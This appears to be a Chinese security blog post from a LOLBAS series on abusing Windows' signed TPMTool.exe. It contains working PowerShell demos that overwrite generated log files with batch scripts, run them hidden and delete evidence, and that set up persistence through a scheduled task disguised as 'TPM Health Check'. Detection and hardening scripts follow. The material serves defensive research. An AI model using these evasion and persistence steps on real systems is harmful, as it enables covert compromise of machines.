【LOLBAS鐵人賽Day17】TPMTool - 濫用TPM管理工具進行檔案操作

942 字

5 分鐘

- views

【LOLBAS鐵人賽Day17】TPMTool - 濫用TPM管理工具進行檔案操作

2025-10-01

Research

LOLBAS

/

Windows

/

Security

TPMTool.exe是Windows內建的可信平台模組管理工具

攻擊者可以利用他的創建目錄結構和白名單信任的特性，把它作為攻擊鏈的關鍵元件

今天我們就一起來看看這個工具的使用方法吧

工具特性#

關鍵功能：tpmtool gatherlogs [path]會在指定路徑創建多個.txt和.xml檔案
濫用價值：

創建看起來合法的目錄結構
生成可覆寫的檔案作為攻擊載體
白名單程式不會觸發警報

來看看幾個攻擊 Demo#

Demo 1：利用TPMTool檔案覆寫執行攻擊#

1
$d = "$env:TEMP\TPMDiag"
2
mkdir $d -Force | Out-Null
3
tpmtool gatherlogs $d 2>$null
4

5
$tpmFiles = gci $d -Filter *.txt
6
if($tpmFiles){
7
    $target = $tpmFiles[0].FullName
8
    @'
9
@echo off
10
start calc.exe
11
start notepad.exe
12
echo TPM Module Loaded > %TEMP%\tpm_status.txt
13
'@ | Out-File $target -Force -Encoding ASCII
14

15
    Rename-Item $target "$d\TPMInit.bat" -Force
16
    Start-Process "$d\TPMInit.bat" -WindowStyle Hidden
17

18
    Start-Sleep 2
19
    if(Get-Process calc -EA 0){Write-Host "Payload executed via TPM file" -F Green}
20
}
21

22
Stop-Process -Name calc,notepad -Force -EA 0
23
Remove-Item $d -Recurse -Force -EA 0

幾個比較重要的點：

tpmtool gatherlogs創建合法的TPM日誌檔案
覆寫其中一個.txt檔案為批次腳本
重新命名並執行，繞過某些檢測
刪除證據

Demo 2：TPMTool作為持久化觸發器#

1
$persistDir = "$env:LOCALAPPDATA\Microsoft\TPM"
2
mkdir $persistDir -Force | Out-Null
3

4
$triggerScript = @'
5
tpmtool gatherlogs C:\Windows\Temp\TPMCache
6
if exist C:\Windows\Temp\TPMCache\*.txt (
7
    powershell -NoP -W Hidden -C "Start-Process calc.exe"
8
    rmdir /s /q C:\Windows\Temp\TPMCache
9
)
10
'@
11

12
$triggerScript | Out-File "$persistDir\TPMSchedule.bat" -Encoding ASCII
13

14
schtasks /create /tn "TPM Health Check" /tr "$persistDir\TPMSchedule.bat" /sc hourly /f 2>$null
15

16
if($?){Write-Host "Persistence installed using TPMTool trigger" -F Green}
17

18
schtasks /run /tn "TPM Health Check" 2>$null
19
Start-Sleep 3
20

21
if(Get-Process calc -EA 0){
22
    Write-Host "TPMTool trigger successful" -F Green
23
    Stop-Process -Name calc -Force
24
}
25

26
schtasks /delete /tn "TPM Health Check" /f 2>$null
27
Remove-Item $persistDir -Recurse -Force -EA 0

幾個比較重要的點：

tpmtool執行是觸發條件
檢查tpmtool創建的檔案存在性
偽裝成TPM健康檢查任務
實際執行惡意payload

TPMtool 的一些優勢#

信任優勢#

Microsoft簽章的二進制檔案
正常的系統維護工具
很少被EDR監控
可在使用者權限下執行

功能特性#

目錄創建：自動創建包含多個檔案的目錄
檔案生成：產生.txt.xml 等可修改的檔案
錯誤靜默：執行失敗不會有明顯錯誤
快速執行：幾乎立即完成

偵測困難#

合法工具的合法用途
產生的檔案名稱隨機
目錄結構看似正常
很難與真實TPM維護區分

偵測策略#

關鍵行為模式#

1
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
2
? {$_.Message -match 'tpmtool.*gatherlogs' -and $_.TimeCreated -gt (Get-Date).AddHours(-1)} |
3
% {
4
    $time = $_.TimeCreated
5
    $followUp = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
6
    ? {$_.TimeCreated -gt $time -and $_.TimeCreated -lt $time.AddMinutes(5)}
7
    if($followUp | ? {$_.Message -match 'cmd|powershell|wscript'}){
8
        Write-Host "ALERT: TPMTool followed by script execution at $time" -F Red
9
    }
10
}

檔案系統監控#

1
$fsw = New-Object System.IO.FileSystemWatcher
2
$fsw.Path = $env:TEMP
3
$fsw.Filter = "TPM*"
4
$fsw.IncludeSubdirectories = $true
5
$fsw.EnableRaisingEvents = $true
6

7
Register-ObjectEvent -InputObject $fsw -EventName Created -Action {
8
    $path = $Event.SourceEventArgs.FullPath
9
    $files = gci $path -Recurse -Include *.bat,*.ps1,*.exe -EA 0
10
    if($files){
11
        Write-Host "SUSPICIOUS: Executable in TPM directory: $files" -F Red
12
    }
13
}

防禦建議#

限制TPMTool使用#

1
# 只允許從特定路徑執行
2
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths" `
3
    -Name "{GUID}" -Value "C:\Windows\System32\tpmtool.exe" -PropertyType String
4

5
# 監控異常執行位置
6
Get-Process | ? {$_.Name -eq 'tpmtool' -and $_.Path -notlike "*System32*"}